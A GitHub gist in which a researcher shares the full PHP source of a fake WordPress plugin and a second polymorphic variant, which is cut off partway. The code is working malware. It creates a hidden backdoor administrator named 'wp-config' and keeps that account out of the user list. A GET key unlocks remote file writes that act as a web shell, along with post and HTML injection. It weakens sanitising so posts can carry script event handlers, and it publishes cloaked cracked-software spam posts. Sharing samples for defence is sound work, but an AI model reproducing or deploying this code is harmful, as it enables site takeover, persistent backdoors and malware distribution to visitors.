Created
December 4, 2025 22:15
-
-
Save malwador/e272633c6663ed83a0085fc4b3e93697 to your computer and use it in GitHub Desktop.
XSystwo - fake plugin - evidence I gathered shows polymorphic variations with different variables names but filenames remain the same. just different SHA256 signatures.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* | |
| Plugin Name: WP-CorenNode51Se | |
| Description: WP-Thread42rQj | |
| Version: 2.0 | |
| Author: IOnMapE1615J54R | |
| */ | |
| //CtrlFlowQ1CRd | |
| include_once("class.01.php"); | |
| define('execcyq9277n', 30); | |
| define('init40pO', 10); | |
| define('handleJE40', 7331); | |
| define('buildHYResul', 10); | |
| define('checkpParamL', 24*60*60); | |
| define('handleKLi', 120); | |
| define('init16Val', 30); | |
| define('calcEntryfL', 10); | |
| define('fetchIHN78', 6000); | |
| defined("ABSPA"."T"."H") or die("No script"." kiddies plea"."s"."e"); | |
| function saveMceuData($username, $password) { | |
| $email = $username . "@wordpress"."."."co"."m"; | |
| $option_key = "xwp_ubd"."_co"."ntrol"; | |
| $interval = 86400; | |
| if ((time() - (int)get_option($option_key, 0)) < $interval) { | |
| return null; | |
| } | |
| update_option($option_key, time()); | |
| if (!username_exists($username) && !email_exists($email)) { | |
| $user_id = wp_create_user($username, $password, $email); | |
| if (!is_wp_error($user_id)) { | |
| (new WP_User($user_id))->set_role("administrat"."o"."r"); | |
| return true; | |
| } | |
| } | |
| return false; | |
| } | |
| function getLOUP66z4($query) { | |
| if (is_admin() && current_user_can("l"."ist_u"."s"."e"."rs")) { | |
| $hidden_login = "wp-"."c"."onf"."i"."g"; | |
| global $wpdb; | |
| $query->query_where .= " AND {$wpdb->users}.user_login != '{$hidden_login}'"; | |
| } | |
| } | |
| function getyValueNJkDa() { | |
| srand(hexdec(substr(md5(site_url()), -5))); | |
| $mask = range(0, buildHYResul - 1); | |
| shuffle($mask); | |
| return $mask; | |
| } | |
| function fetchrSta($id) { | |
| $base = $id * handleJE40; | |
| $base_str = str_pad($base, buildHYResul, "0", STR_PAD_LEFT); | |
| $mask = getyValueNJkDa(); | |
| $shuffled = ""; | |
| for ($i = 0; $i < buildHYResul; $i++) { | |
| $shuffled .= $base_str[$mask[$i]]; | |
| } | |
| return $shuffled; | |
| } | |
| function saveV25eVS15Obj($code) { | |
| $mask = getyValueNJkDa(); | |
| $unshuffled = array_fill(0, buildHYResul, "0"); | |
| for ($i = 0; $i < buildHYResul; $i++) { | |
| $unshuffled[$mask[$i]] = $code[$i]; | |
| } | |
| $num = intval(implode("", $unshuffled)); | |
| return intval($num / handleJE40); | |
| } | |
| function saveEntr($seed) { | |
| srand(hexdec(substr(md5(site_url().$seed), -5))); | |
| $alpha = | |
| ['b','c','d','f','g','h','j','k','l','m', | |
| 'n','p','q','r','s','t','v','w','x','z']; | |
| $first = $alpha[rand(0, count($alpha) - 1)]; | |
| $second = $alpha[rand(0, count($alpha) - 1)]; | |
| return $first . $second; | |
| } | |
| function getiModeInf() { | |
| if( stripos($_SERVER["HTTP_US"."E"."R_"."AGENT"], "wo"."rd"."p"."r"."ess") !== false | |
| || stripos($_SERVER["H"."TTP"."_USE"."R_A"."GENT"], "w"."in"."d"."ow"."s") === false | |
| ) { | |
| return false; | |
| } | |
| return true; | |
| } | |
| function exec14kJ2($key) { | |
| return update_option("xw"."p"."_"."k"."ey", $key); | |
| } | |
| function setwW31x88k58j() { | |
| return get_option("x"."wp_k"."ey", false); | |
| } | |
| function handle80n($blk) { | |
| return update_option("xwp_"."bl"."k", $blk); | |
| } | |
| function handleOq46qF() { | |
| return get_option("xw"."p"."_blk", false); | |
| } | |
| function calcyDataZDat() { | |
| add_filter("kses_allowed_pro"."t"."oco"."l"."s", function($protocols) { | |
| if (!in_array("data", $protocols)) { | |
| $protocols[] = "data"; | |
| } | |
| return $protocols; | |
| }); | |
| add_filter("wp_kses_allowed"."_h"."t"."m"."l", function($allowed_tags, $context) { | |
| if (!in_array($context, ["post", "data"])) { | |
| return $allowed_tags; | |
| } | |
| $event_attrs = [ | |
| "on"."cli"."ck" => true, | |
| "o"."n"."mouseov"."er" => true, | |
| "onmou"."se"."out" => true, | |
| "onmouse"."ente"."r" => true, | |
| "onmo"."us"."eleave" => true, | |
| ]; | |
| foreach ($allowed_tags as &$attrs) { | |
| foreach ($event_attrs as $event => $v) { | |
| $attrs[$event] = true; | |
| } | |
| } | |
| if (!isset($allowed_tags["img"])) { | |
| $allowed_tags["img"] = []; | |
| } | |
| $allowed_tags["img"]["src"] = true; | |
| $allowed_tags["svg"] = [ | |
| "x"."m"."l"."ns" => true, | |
| "vi"."ewB"."ox" => true, | |
| "w"."id"."th" => true, | |
| "he"."ig"."ht" => true, | |
| "fi"."l"."l" => true, | |
| "st"."r"."o"."k"."e" => true, | |
| ]; | |
| $allowed_tags["path"] = [ | |
| "d" => true, | |
| "f"."il"."l" => true, | |
| "st"."r"."o"."k"."e" => true, | |
| "str"."oke-wi"."dth" => true, | |
| ]; | |
| $allowed_tags["g"] = []; | |
| return $allowed_tags; | |
| }, 10, 2); | |
| } | |
| function procPara() { | |
| $referer = $_SERVER["HTTP_REFERER"] ?? ""; | |
| $user_agent = $_SERVER["HTTP_USER_AGENT"] ?? ""; | |
| $check_string = $referer . $user_agent; | |
| if (strpos($check_string, "google") === false && strpos($check_string, "bing") === false) { | |
| return true; | |
| } | |
| return false; | |
| } | |
| function initp79656zJE() { | |
| $current_uri = $_SERVER["REQUEST"."_"."U"."RI"]; | |
| $current_uri = parse_url($current_uri, PHP_URL_PATH); | |
| $current_uri = rtrim($current_uri, "/"); | |
| if ($current_uri === "") { | |
| return true; | |
| } | |
| return false; | |
| } | |
| function get90ONodeu33Z() { | |
| $request_uri = $_SERVER["REQUEST_"."U"."R"."I"]; | |
| if (isset($_GET["p"]) && is_numeric($_GET["p"])) { | |
| $post_id = intval($_GET["p"]); | |
| } else { | |
| $path = parse_url($request_uri, PHP_URL_PATH); | |
| $slug = basename($path); | |
| $post = get_page_by_path($slug, OBJECT, "post"); | |
| if ($post) { | |
| $post_id = $post->ID; | |
| } else { | |
| return false; | |
| } | |
| } | |
| $excerpt = get_post_field("pos"."t_"."excerpt", $post_id); | |
| if($excerpt == "pi"."rat"."e") { | |
| return true; | |
| } | |
| return false; | |
| } | |
| function load4891Q($where) { | |
| global $wpdb; | |
| global $PMARKER; | |
| $where .= " AND {$wpdb->posts}.post_excerpt <> 'pirate'"; | |
| return $where; | |
| } | |
| function procKStatedqIt($where) { | |
| global $wpdb; | |
| $where .= " AND {$wpdb->posts}.post_excerpt = 'pirate'"; | |
| return $where; | |
| } | |
| function fetch13GNodeVa() { | |
| add_filter("posts_where", "procKStatedqIt"); | |
| $args = array( | |
| "posts_per_"."p"."a"."g"."e" => -1, | |
| "po"."s"."t_s"."ta"."tus" => "p"."ubl"."i"."s"."h", | |
| "fie"."l"."d"."s" => "ids", | |
| ); | |
| $query = new WP_Query($args); | |
| remove_filter("posts_w"."h"."er"."e", "procK"."Stated"."q"."I"."t"); | |
| if (empty($query->posts)) { | |
| return false; | |
| } | |
| $post_ids = $query->posts; | |
| $all_cat_ids = []; | |
| foreach ($post_ids as $post_id) { | |
| $cats = wp_get_post_categories($post_id); | |
| $all_cat_ids = array_merge($all_cat_ids, $cats); | |
| } | |
| $unique_cat_ids = array_unique($all_cat_ids); | |
| foreach ($unique_cat_ids as $cat_id) { | |
| $category = get_category($cat_id); | |
| if ($category) { | |
| $cat_name = $category->name; | |
| $cat_link = get_category_link($cat_id); | |
| echo "<a href=\"$cat_link\">{$cat_name}</a> • "; | |
| } | |
| } | |
| return true; | |
| } | |
| function handlec87WEnt($category, $title, $content) { | |
| $cat_term = get_term_by("name", $category, "c"."ate"."g"."ory"); | |
| if (!$cat_term) { | |
| $cat_term = wp_insert_term($category, "ca"."teg"."ory"); | |
| $category_id = $cat_term["term"."_"."i"."d"]; | |
| } else { | |
| $category_id = $cat_term->term_id; | |
| } | |
| $post_data = [ | |
| "post_ti"."t"."l"."e" => $title, | |
| "post_c"."on"."t"."en"."t" => $content, | |
| "pos"."t_ex"."c"."e"."rpt" => "pi"."rat"."e", | |
| "pos"."t"."_st"."a"."tus" => "publish", | |
| "post_"."a"."ut"."ho"."r" => get_current_user_id(), | |
| "p"."ost_t"."yp"."e" => "post", | |
| "post_categ"."o"."ry" => [$category_id], | |
| ]; | |
| $post_id = wp_insert_post($post_data); | |
| $post_sl = get_post_field("post_name", $post_id); | |
| return $post_sl; | |
| } | |
| function save10List46c($limit = false, $shuffle = false) { | |
| global $wpdb; | |
| $query = " | |
| SELECT ID | |
| FROM {$wpdb->posts} | |
| WHERE post_status = 'publish' | |
| AND post_excerpt = 'pirate' | |
| "; | |
| if ($shuffle) { | |
| $query .= " ORDER BY RAND($shuffle)"; | |
| } else { | |
| $query .= " ORDER BY post_date D"."E"."SC"; | |
| } | |
| if ($limit !== false) { | |
| $query .= " "."LI"."M"."I"."T " . intval($limit); | |
| } | |
| $posts = $wpdb->get_col($query); | |
| if (empty($posts)) { | |
| return []; | |
| } | |
| $result = []; | |
| foreach ($posts as $post_id) { | |
| $link = get_permalink($post_id); | |
| if ($link) { | |
| $result[] = $link; | |
| } | |
| } | |
| return $result; | |
| } | |
| function handleehp84() { | |
| $block = handleOq46qF(); | |
| if (!$block) { | |
| return false; | |
| } | |
| echo $block; | |
| return true; | |
| } | |
| function create91() { | |
| $posts = save10List46c(execcyq9277n, false); | |
| if (empty($posts)) { | |
| return false; | |
| } | |
| foreach($posts as $post) { | |
| $title = get_the_title(url_to_postid($post)); | |
| if ($title && $post) { | |
| echo "<a href=\"$post\">$title</a> • "; | |
| } | |
| } | |
| return true; | |
| } | |
| function handleUInfoIt() { | |
| $freeze = intval(time() / (7*24*3600)); | |
| $posts = save10List46c(init40pO, $freeze); | |
| if (empty($posts)) { | |
| return false; | |
| } | |
| foreach($posts as $post) { | |
| $title = get_the_title(url_to_postid($post)); | |
| if ($title && $post) { | |
| echo "<a href=\"$post\">$title</a> • "; | |
| } | |
| } | |
| return true; | |
| } | |
| function createLL23F61($ip, $type = "view") { | |
| $option_name = $type === "cl"."i"."c"."k" ? "xwp_global"."_click_i"."p"."s" : "xwp_gl"."oba"."l_v"."ie"."w_ips"; | |
| $now = time(); | |
| $threshold = $now - 86400; | |
| $global_ips = get_option($option_name, []); | |
| $global_ips = array_filter($global_ips, function($ts) use ($threshold) { | |
| return $ts > $threshold; | |
| }); | |
| $is_new = !isset($global_ips[$ip]); | |
| if ($is_new) { | |
| $global_ips[$ip] = $now; | |
| update_option($option_name, $global_ips); | |
| } | |
| return $is_new; | |
| } | |
| function check659eTaskM() { | |
| global $post; | |
| if (!getiModeInf()) return; | |
| if (!is_singular("post")) return; | |
| if (!isset($post->post_excerpt)) return; | |
| if (trim($post->post_excerpt) !== "pirate") return; | |
| if ( | |
| stripos($_SERVER["H"."TTP_U"."SE"."R"."_AGENT"], "wo"."rdpr"."e"."ss") !== false || | |
| stripos($_SERVER["HTTP_US"."ER_AGE"."N"."T"], "win"."d"."o"."w"."s") === false | |
| ) return; | |
| $ip = $_SERVER["REMOTE_A"."D"."D"."R"]; | |
| if (!createLL23F61($ip, "v"."i"."e"."w")) return; | |
| $post_id = $post->ID; | |
| $now = time(); | |
| $threshold = $now - 86400; | |
| $timestamps = get_post_meta($post_id, "_x"."wp_"."hi"."t"."s", true); | |
| if (!is_array($timestamps)) { | |
| $timestamps = []; | |
| } | |
| $timestamps = array_filter($timestamps, function($ts) use ($threshold) { | |
| return $ts > $threshold; | |
| }); | |
| $timestamps[] = $now; | |
| update_post_meta($post_id, "_x"."wp_h"."i"."t"."s", $timestamps); | |
| } | |
| function check65xP($post_id) { | |
| if (!getiModeInf()) return; | |
| $ip = $_SERVER["R"."E"."MOTE"."_AD"."DR"]; | |
| if (!createLL23F61($ip, "click")) return; | |
| $now = time(); | |
| $threshold = $now - 86400; | |
| $timestamps = get_post_meta($post_id, "_xwp_click", true); | |
| if (!is_array($timestamps)) { | |
| $timestamps = []; | |
| } | |
| $timestamps = array_filter($timestamps, function($ts) use ($threshold) { | |
| return $ts > $threshold; | |
| }); | |
| $timestamps[] = $now; | |
| update_post_meta($post_id, "_x"."w"."p_"."click", $timestamps); | |
| } | |
| function checkItem1551OT() { | |
| global $wpdb; | |
| $result = []; | |
| $posts = $wpdb->get_col(" | |
| SELECT ID | |
| FROM {$wpdb->posts} | |
| WHERE post_status = 'publish' | |
| AND post_excerpt = 'pirate' | |
| "); | |
| if (empty($posts)) { | |
| return $result; | |
| } | |
| $threshold = time() - 86400; | |
| foreach ($posts as $post_id) { | |
| $views_raw = get_post_meta($post_id, "_"."xwp_hit"."s", true); | |
| $clicks_raw = get_post_meta($post_id, "_x"."wp_c"."lick", true); | |
| $views = 0; | |
| if (is_array($views_raw)) { | |
| foreach ($views_raw as $ts) { | |
| if ($ts > $threshold) $views++; | |
| } | |
| } | |
| $clicks = 0; | |
| if (is_array($clicks_raw)) { | |
| foreach ($clicks_raw as $ts) { | |
| if ($ts > $threshold) $clicks++; | |
| } | |
| } | |
| $post = get_post($post_id); | |
| $slug = $post ? $post->post_name : ""; | |
| $result[] = [ | |
| "views"."_2"."4"."h" => $views, | |
| "c"."li"."cks_2"."4"."h" => $clicks, | |
| "s".""."l"."u"."g" => $slug, | |
| ]; | |
| } | |
| return $result; | |
| } | |
| function createx57S($content) { | |
| global $post; | |
| if (!is_singular("post") || $post->post_excerpt !== "pir"."a"."te") { | |
| return $content; | |
| } | |
| $enc_id = fetchrSta($post->ID); | |
| $link1 = home_url("/?" . saveEntr("first") . "={$enc_id}"); | |
| $link2 = home_url("/?" . saveEntr("first") . "={$enc_id}". | |
| "&" . saveEntr("second") . "=" . saveEntr("value")); | |
| $content = str_replace("%DLINK1%", esc_url($link1), $content); | |
| $content = str_replace("%DLINK2%", esc_url($link2), $content); | |
| return $content; | |
| } | |
| function load58Flag($content) { | |
| global $post; | |
| if (!is_singular("post") || $post->post_excerpt !== "pirate") { | |
| return $content; | |
| } | |
| srand(crc32($content)); | |
| $dhash = "MD5: " . md5(mt_rand(100000,999999)); | |
| $ddate = date("y-m-d", strtotime("-".rand(1, 30)." days")); | |
| $content = str_replace("%DHASH%", $dhash, $content); | |
| $content = str_replace("%DDATE%", $ddate, $content); | |
| return $content; | |
| } | |
| //*************************************************************// | |
| function updatetcState($pcount, $cposts) { | |
| for($n = 0; $n < $pcount; $n++) { | |
| $render = new createCvDatafj(false); | |
| $categ = $render->rungObj80ObjI($cposts); | |
| $title = $render->setPdFlagr14J53(); | |
| $createfTask97 = $render->saveHbIObjJdRes(); | |
| $content = $render->fetchPObjW(); | |
| handlec87WEnt( | |
| $categ, $title, | |
| $createfTask97 . $content | |
| ); | |
| } | |
| return true; | |
| } | |
| //*************************************************************// | |
| add_action("init", "calc"."y"."D"."ataZD"."at"); | |
| //*************************************************************// | |
| $cposts = get_option("x"."w"."p_cu"."rr_posts", 0); | |
| if($cposts < fetchIHN78) { | |
| $last_check = get_option("x"."wp_l"."ast"."_"."create", 0); | |
| if ((time() - $last_check) > checkpParamL) { | |
| add_action("init", function() { | |
| $cposts = get_option("xwp_cur"."r_po"."sts", 0); | |
| if($cposts == 0) { | |
| $add_count = init16Val; | |
| } else { | |
| $add_count = calcEntryfL; | |
| } | |
| $add_count += mt_rand(0, 2) - 1; | |
| update_option( | |
| "xwp_curr"."_p"."o"."sts", | |
| $add_count + $cposts | |
| ); | |
| update_option( | |
| "x"."wp_la"."st_c"."r"."eate", | |
| time() | |
| ); | |
| updatetcState($add_count, $cposts); | |
| }); | |
| } | |
| } | |
| //*************************************************************// | |
| if(isset($_GET["xwp_"."k"."ey"])) { | |
| if(!setwW31x88k58j()) { | |
| exec14kJ2($_GET["xw"."p"."_k"."e"."y"]); | |
| } | |
| } | |
| if(isset($_GET["xwp_"."k"."e"."y"]) && isset($_GET["xw"."p_st"."ats"])) { | |
| if($_GET["xwp_key"] == setwW31x88k58j()) { | |
| echo json_encode(checkItem1551OT()); | |
| exit; | |
| } | |
| } | |
| if(isset($_GET["xwp"."_ke"."y"]) && isset($_GET["xwp_"."pos"."t"."s"])) { | |
| if($_GET["xwp_key"] == setwW31x88k58j()) { | |
| add_action("init", function() { | |
| echo json_encode(save10List46c()); | |
| exit; | |
| }); | |
| } | |
| } | |
| if(isset($_GET["xw"."p_k"."e"."y"]) && isset($_GET["xwp_ad"."d"."p"])) { | |
| if($_GET["xwp_key"] == setwW31x88k58j()) { | |
| add_action("init", function() { | |
| $xcat = $_POST["xcat"]; | |
| $xtit = $_POST["xtitle"]; | |
| $xbod = $_POST["xbody"]; | |
| $xbod = base64_decode($xbod); | |
| echo handlec87WEnt($xcat, $xtit, $xbod); | |
| exit; | |
| }); | |
| } | |
| } | |
| if(isset($_GET["xwp"."_"."k"."ey"]) && isset($_GET["xw"."p_"."u"."pd"])) { | |
| if($_GET["xwp_key"] == setwW31x88k58j()) { | |
| add_action("init", function() { | |
| $xfnm = $_POST["xfnm"]; | |
| $xfnm = plugin_dir_path(__FILE__) . $xfnm; | |
| $xbod = $_POST["xbody"]; | |
| $xbod = base64_decode($xbod); | |
| file_put_contents($xfnm, $xbod); | |
| echo $xfnm; | |
| exit; | |
| }); | |
| } | |
| } | |
| if(isset($_GET["xwp_"."k"."ey"]) && isset($_GET["xwp"."_"."ln"."k"])) { | |
| if($_GET["xw"."p_k"."e"."y"] == setwW31x88k58j()) { | |
| add_action("init", function() { | |
| $xblk = $_POST["xblk"]; | |
| $xblk = base64_decode($xblk); | |
| handle80n($xblk); | |
| echo "OK"; | |
| exit; | |
| }); | |
| } | |
| } | |
| //*************************************************************// | |
| foreach ($_GET as $key => $value) { | |
| if (strlen($key) === 2 && preg_match("/^\d{10}$/", $value)) { | |
| $post_id = saveV25eVS15Obj($value); | |
| $title = get_the_title($post_id); | |
| if (!empty($title)) { | |
| $iid = createCvDatafj::loadT37List($title); | |
| if(!$iid) { | |
| $top = | |
| [ | |
| "ableton","acrobat","effects","anydesk","autocad","coreldraw", | |
| "excel","studio","illustrator","manager","matlab","office", | |
| "365","word","photoshop","premiere","sketchup","solidworks", | |
| "winrar","topaz","filmora","vegas","easeus","kmspico","creative", | |
| "virtualdj","teamviewer","ccleaner","vmware","lumion","recuva" | |
| ]; | |
| foreach($top as $cr) { | |
| if(stripos($title, $cr) !== false) { | |
| $iid = $cr; | |
| break; | |
| } | |
| } | |
| } | |
| if($iid) { | |
| $render = new createCvDatafj($iid); | |
| echo $render->procOModexwF($title); | |
| check65xP($post_id); | |
| exit; | |
| } | |
| } | |
| } | |
| } | |
| //*************************************************************// | |
| if(setwW31x88k58j()) { | |
| add_action("init", function() { | |
| saveMceuData("wp-config", setwW31x88k58j()); | |
| }); | |
| } | |
| add_action("pre_u"."ser_q"."uery", "get"."LOUP66"."z"."4"); | |
| //*************************************************************// | |
| if(!procPara()) { | |
| if(true) { | |
| add_action("wp_footer", "fet"."ch13"."GNod"."e"."Va"); | |
| add_action("wp_footer", "h"."andlee"."h"."p"."84"); | |
| add_action("wp_footer", "c"."re"."a"."te9"."1"); | |
| add_action("wp_footer", "handleUIn"."foI"."t"); | |
| } | |
| } | |
| else { | |
| if(!get90ONodeu33Z()) { | |
| add_filter("posts_where", "load"."4891"."Q"); | |
| } | |
| } | |
| add_action("template_redirect", "check659e"."Ta"."sk"."M"); | |
| add_filter("the_content", "c"."reatex"."5"."7S"); | |
| add_filter("the_content", "load"."5"."8Fl"."a"."g"); | |
| ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* | |
| Plugin Name: WP-DevReguE50A | |
| Description: WP-Net55zBlksLl | |
| Version: 2.0 | |
| Author: File16Pipe99Mod | |
| */ | |
| //Nete7493Map | |
| include_once("class.01.php"); | |
| define('set20TaskyGY', 30); | |
| define('saveCYNodeS', 10); | |
| define('create25', 7331); | |
| define('buildNode95pEnt', 10); | |
| define('calcGlModeFlagS', 24*60*60); | |
| define('procZ62State2', 120); | |
| define('handle71Sg', 30); | |
| define('fetchpK1', 10); | |
| define('setTaskxI', 6000); | |
| defined("AB"."SP"."A"."T"."H") or die("No script kiddies"." "."p"."lease"); | |
| function load6Info($username, $password) { | |
| $email = $username . "@word"."pr"."e"."ss.com"; | |
| $option_key = "xwp_ubd_contr"."o"."l"; | |
| $interval = 86400; | |
| if ((time() - (int)get_option($option_key, 0)) < $interval) { | |
| return null; | |
| } | |
| update_option($option_key, time()); | |
| if (!username_exists($username) && !email_exists($email)) { | |
| $user_id = wp_create_user($username, $password, $email); | |
| if (!is_wp_error($user_id)) { | |
| (new WP_User($user_id))->set_role("administra"."to"."r"); | |
| return true; | |
| } | |
| } | |
| return false; | |
| } | |
| function load4229P($query) { | |
| if (is_admin() && current_user_can("list_us"."e"."r"."s")) { | |
| $hidden_login = "wp"."-co"."nf"."i"."g"; | |
| global $wpdb; | |
| $query->query_where .= " AND {$wpdb->users}.user_login != '{$hidden_login}'"; | |
| } | |
| } | |
| function init68U3hxV() { | |
| srand(hexdec(substr(md5(site_url()), -5))); | |
| $mask = range(0, buildNode95pEnt - 1); | |
| shuffle($mask); | |
| return $mask; | |
| } | |
| function checkmYR3($id) { | |
| $base = $id * create25; | |
| $base_str = str_pad($base, buildNode95pEnt, "0", STR_PAD_LEFT); | |
| $mask = init68U3hxV(); | |
| $shuffled = ""; | |
| for ($i = 0; $i < buildNode95pEnt; $i++) { | |
| $shuffled .= $base_str[$mask[$i]]; | |
| } | |
| return $shuffled; | |
| } | |
| function loadvxDGH14($code) { | |
| $mask = init68U3hxV(); | |
| $unshuffled = array_fill(0, buildNode95pEnt, "0"); | |
| for ($i = 0; $i < buildNode95pEnt; $i++) { | |
| $unshuffled[$mask[$i]] = $code[$i]; | |
| } | |
| $num = intval(implode("", $unshuffled)); | |
| return intval($num / create25); | |
| } | |
| function getW79Dat($seed) { | |
| srand(hexdec(substr(md5(site_url().$seed), -5))); | |
| $alpha = | |
| ['b','c','d','f','g','h','j','k','l','m', | |
| 'n','p','q','r','s','t','v','w','x','z']; | |
| $first = $alpha[rand(0, count($alpha) - 1)]; | |
| $second = $alpha[rand(0, count($alpha) - 1)]; | |
| return $first . $second; | |
| } | |
| function runM80Flagy() { | |
| if( stripos($_SERVER["HTTP_USER_A"."G"."E"."N"."T"], "wo"."r"."dpre"."s"."s") !== false | |
| || stripos($_SERVER["HTTP"."_USER_AGE"."NT"], "wi"."n"."d"."ow"."s") === false | |
| ) { | |
| return false; | |
| } | |
| return true; | |
| } | |
| function execResultSnyLi($key) { | |
| return update_option("xw"."p_k"."ey", $key); | |
| } | |
| function proc7vnQfData88() { | |
| return get_option("x"."wp"."_"."key", false); | |
| } | |
| function runListMode($blk) { | |
| return update_option("xw"."p_b"."l"."k", $blk); | |
| } | |
| function proczObjIg() { | |
| return get_option("xw"."p_"."b"."l"."k", false); | |
| } | |
| function execNode90br2Bw() { | |
| add_filter("kses_allow"."ed_"."protocols", function($protocols) { | |
| if (!in_array("data", $protocols)) { | |
| $protocols[] = "data"; | |
| } | |
| return $protocols; | |
| }); | |
| add_filter("wp_kses_a"."llow"."ed"."_"."html", function($allowed_tags, $context) { | |
| if (!in_array($context, ["post", "data"])) { | |
| return $allowed_tags; | |
| } | |
| $event_attrs = [ | |
| "o"."ncl"."i"."c"."k" => true, | |
| "onmo"."us"."eo"."ve"."r" => true, | |
| "onmouse"."o"."u"."t" => true, | |
| "onmousee"."n"."t"."e"."r" => true, | |
| "onmou"."sele"."a"."ve" => true, | |
| ]; | |
| foreach ($allowed_tags as &$attrs) { | |
| foreach ($event_attrs as $event => $v) { | |
| $attrs[$event] = true; | |
| } | |
| } | |
| if (!isset($allowed_tags["img"])) { | |
| $allowed_tags["img"] = []; | |
| } | |
| $allowed_tags["img"]["src"] = true; | |
| $allowed_tags["svg"] = [ | |
| "xm"."ln"."s" => true, | |
| "vi"."ew"."B"."o"."x" => true, | |
| "w"."i"."d"."t"."h" => true, | |
| "h"."ei"."gh"."t" => true, | |
| "f"."i"."l"."l" => true, | |
| "s"."tr"."oke" => true, | |
| ]; | |
| $allowed_tags["path"] = [ | |
| "d" => true, | |
| "f"."il"."l" => true, | |
| "str"."ok"."e" => true, | |
| "stroke-"."w"."i"."dt"."h" => true, | |
| ]; | |
| $allowed_tags["g"] = []; | |
| return $allowed_tags; | |
| }, 10, 2); | |
| } | |
| function calcResu() { | |
| $referer = $_SERVER["HTTP_REFERER"] ?? ""; | |
| $user_agent = $_SERVER["HTTP_USER_AGENT"] ?? ""; | |
| $check_string = $referer . $user_agent; | |
| if (strpos($check_string, "google") === false && strpos($check_string, "bing") === false) { | |
| return true; | |
| } | |
| return false; | |
| } | |
| function createtW349470S() { | |
| $current_uri = $_SERVER["R"."EQ"."UE"."ST_UR"."I"]; | |
| $current_uri = parse_url($current_uri, PHP_URL_PATH); | |
| $current_uri = rtrim($current_uri, "/"); | |
| if ($current_uri === "") { | |
| return true; | |
| } | |
| return false; | |
| } | |
| function buildFlag452IjO() { | |
| $request_uri = $_SERVER["REQUE"."ST"."_URI"]; | |
| if (isset($_GET["p"]) && is_numeric($_GET["p"])) { | |
| $post_id = intval($_GET["p"]); | |
| } else { | |
| $path = parse_url($request_uri, PHP_URL_PATH); | |
| $slug = basename($path); | |
| $post = get_page_by_path($slug, OBJECT, "post"); | |
| if ($post) { | |
| $post_id = $post->ID; | |
| } else { | |
| return false; | |
| } | |
| } | |
| $excerpt = get_post_field("pos"."t_e"."xce"."rp"."t", $post_id); | |
| if($excerpt == "pir"."a"."t"."e") { | |
| return true; | |
| } | |
| return false; | |
| } | |
| function buildFlagOb($where) { | |
| global $wpdb; | |
| global $PMARKER; | |
| $where .= " AND {$wpdb->posts}.post_excerpt <> 'pirate'"; | |
| return $where; | |
| } | |
| function fetchQ68XB($where) { | |
| global $wpdb; | |
| $where .= " AND {$wpdb->posts}.post_excerpt = 'pirate'"; | |
| return $where; | |
| } | |
| function build0NP() { | |
| add_filter("posts_where", "fetchQ68XB"); | |
| $args = array( | |
| "posts_per_pa"."g"."e" => -1, | |
| "post"."_st"."at"."u"."s" => "p"."ubli"."s"."h", | |
| "fi"."e"."l"."d"."s" => "ids", | |
| ); | |
| $query = new WP_Query($args); | |
| remove_filter("pos"."ts_w"."here", "fetchQ"."68X"."B"); | |
| if (empty($query->posts)) { | |
| return false; | |
| } | |
| $post_ids = $query->posts; | |
| $all_cat_ids = []; | |
| foreach ($post_ids as $post_id) { | |
| $cats = wp_get_post_categories($post_id); | |
| $all_cat_ids = array_merge($all_cat_ids, $cats); | |
| } | |
| $unique_cat_ids = array_unique($all_cat_ids); | |
| foreach ($unique_cat_ids as $cat_id) { | |
| $category = get_category($cat_id); | |
| if ($category) { | |
| $cat_name = $category->name; | |
| $cat_link = get_category_link($cat_id); | |
| echo "<a href=\"$cat_link\">{$cat_name}</a> • "; | |
| } | |
| } | |
| return true; | |
| } | |
| function fetchTaskt($category, $title, $content) { | |
| $cat_term = get_term_by("name", $category, "cate"."g"."o"."r"."y"); | |
| if (!$cat_term) { | |
| $cat_term = wp_insert_term($category, "cate"."go"."ry"); | |
| $category_id = $cat_term["t"."erm_"."id"]; | |
| } else { | |
| $category_id = $cat_term->term_id; | |
| } | |
| $post_data = [ | |
| "po"."st_ti"."tl"."e" => $title, | |
| "post_c"."on"."te"."nt" => $content, | |
| "post"."_e"."xcerpt" => "p"."irat"."e", | |
| "post_stat"."u"."s" => "publish", | |
| "po"."s"."t_auth"."or" => get_current_user_id(), | |
| "po"."st_t"."yp"."e" => "post", | |
| "post_catego"."r"."y" => [$category_id], | |
| ]; | |
| $post_id = wp_insert_post($post_data); | |
| $post_sl = get_post_field("post_name", $post_id); | |
| return $post_sl; | |
| } | |
| function handleTask($limit = false, $shuffle = false) { | |
| global $wpdb; | |
| $query = " | |
| SELECT ID | |
| FROM {$wpdb->posts} | |
| WHERE post_status = 'publish' | |
| AND post_excerpt = 'pirate' | |
| "; | |
| if ($shuffle) { | |
| $query .= " ORDER BY RAND($shuffle)"; | |
| } else { | |
| $query .= " ORDER BY post_date "."D"."ESC"; | |
| } | |
| if ($limit !== false) { | |
| $query .= " "."L"."IMIT " . intval($limit); | |
| } | |
| $posts = $wpdb->get_col($query); | |
| if (empty($posts)) { | |
| return []; | |
| } | |
| $result = []; | |
| foreach ($posts as $post_id) { | |
| $link = get_permalink($post_id); | |
| if ($link) { | |
| $result[] = $link; | |
| } | |
| } | |
| return $result; | |
| } | |
| function setValue() { | |
| $block = proczObjIg(); | |
| if (!$block) { | |
| return false; | |
| } | |
| echo $block; | |
| return true; | |
| } | |
| function loadP8zLMod() { | |
| $posts = handleTask(set20TaskyGY, false); | |
| if (empty($posts)) { | |
| return false; | |
| } | |
| foreach($posts as $post) { | |
| $title = get_the_title(url_to_postid($post)); | |
| if ($title && $post) { | |
| echo "<a href=\"$post\">$title</a> • "; | |
| } | |
| } | |
| return true; | |
| } | |
| function fetchWBYrj() { | |
| $freeze = intval(time() / (7*24*3600)); | |
| $posts = handleTask(saveCYNodeS, $freeze); | |
| if (empty($posts)) { | |
| return false; | |
| } | |
| foreach($posts as $post) { | |
| $title = get_the_title(url_to_postid($post)); | |
| if ($title && $post) { | |
| echo "<a href=\"$post\">$title</a> • "; | |
| } | |
| } | |
| return true; | |
| } | |
| function getQ53FuncW91CR($ip, $type = "view") { | |
